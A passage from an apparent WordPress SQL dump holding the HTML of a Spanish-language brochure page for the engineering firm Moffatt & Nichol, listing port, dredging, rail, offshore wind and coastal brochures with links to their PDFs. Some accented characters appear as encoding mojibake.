grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en NorteamÃ©rica, Europa,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES FLUVIALES Y MANIPULACIÃ“N DE GRANELES</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUMENTO DEL NIVEL DEL MAR  </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarlo, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n       \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               La experiencia profesional en ingenierÃa marÃtima/de costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">GESTIÃ“N DE PROGRAMAS DE PARQUES EÃ“LICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones <br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÃ‘O DE LA SUBESTRUCTURA DE<br /> GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eÃ³licos costa afuera, incluyendo generadores de turbina eÃ³lica <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS CONSULTIVOS <br />COMERCIALES DE PARQUES EÃ“LICOS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL DE ENERGÃA EÃ“LICA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro <br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">InspecciÃ³n y<br /> rehabilitaciÃ³n</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa y diseÃ±o estructural de frentes costeros, proporciona a sus clientes servicios de ingenierÃa orientados hacia la prolongaciÃ³n de la vida de servicio<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>        \r\n                            \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','boletín de noticias','','inherit','open','open','','310-revision-2','','','2012-06-15 10:16:26','2012-06-15 10:16:26','',310,'http://moffattnichol.com/spanish/310-revision-2/',0,'revision','',0);
INSERT INTO `wp_posts` VALUES (2529,1,'2012-06-15 10:27:46','2012-06-15 10:27:46','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>folletos- norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un importante consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.<br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br /><br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">COMERCIAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras inigualables habilidades <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/commercial-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SEGURIDAD PORTUARIA</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con Seguridad Nacional  \r\n<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en mar abierto, puertos, humedales costeros, bocas de entrada y vías navegables interiores.<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES FLUVIALES Y MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUMENTO DEL NIVEL DEL MAR  </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarlo, así como una metodología para determinar los impactos del SLR en el frente costero<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n       \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              La experiencia profesional en ingeniería marítima/de costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">GESTIÓN DE PROGRAMAS DE PARQUES EÓLICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones <br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\" >Ver</a> | <a 